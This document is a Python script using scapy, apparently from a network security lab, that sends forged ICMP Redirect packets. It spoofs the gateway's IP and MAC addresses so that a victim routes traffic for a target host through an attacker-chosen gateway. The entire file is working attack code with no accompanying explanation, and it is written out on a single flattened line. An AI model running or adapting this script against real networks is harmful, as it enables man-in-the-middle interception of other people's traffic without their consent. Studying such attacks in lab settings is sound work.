#!/usr/bin/python3 import argparse import sys import time from scapy.all import Ether, ICMP, IP, conf, get_if_hwaddr, getmacbyip, sendp def build_parser(): parser = argparse.ArgumentParser( description="Send forged ICMP Redirect packets with L2 spoofing." ) parser.add_argument("--victim", default="10.9.0.5") parser.add_argument("--target", default="192.168.60.5") parser.add_argument("--gateway", default="10.9.0.11") parser.add_argument("--new-gateway", default="10.9.0.111") parser.add_argument("--echo-id", type=int, default=0x1234) parser.add_argument("--echo-seq", type=int, default=1) parser.add_argument("--count", type=int, default=20) parser.add_argument("--interval", type=float, default=0.5) return parser def must_resolve_mac(ip_addr): mac = getmacbyip(ip_addr) if mac is None: print(f"Failed to resolve MAC address for {ip_addr}", file=sys.stderr) sys.exit(1) return mac def main(): args = build_parser().parse_args() conf.verb = 0 victim_mac = must_resolve_mac(args.victim) gateway_mac = must_resolve_mac(args.gateway) attacker_mac = get_if_hwaddr("eth0") outer_ip = IP(src=args.gateway, dst=args.victim) redirect = ICMP(type=5, code=1, gw=args.new_gateway) # Quote the original packet in the RFC-required minimum form: # original IP header + first 8 bytes of payload. inner = IP(src=args.victim, dst=args.target) / ICMP( type=8, id=args.echo_id, seq=args.echo_seq ) quoted = bytes(inner)[:28] frame = ( Ether(src=gateway_mac, dst=victim_mac) / outer_ip / redirect / quoted ) print( "Sending forged redirects: " f"gateway_ip={args.gateway}, gateway_mac={gateway_mac}, " f"victim_mac={victim_mac}, attacker_mac={attacker_mac}, " f"quoted_echo_id={args.echo_id}, quoted_echo_seq={args.echo_seq}" ) for idx in range(args.count): sendp(frame, iface="eth0", verbose=False) print(f"sent redirect #{idx + 1}") time.sleep(args.interval) if __name__ == "__main__": main()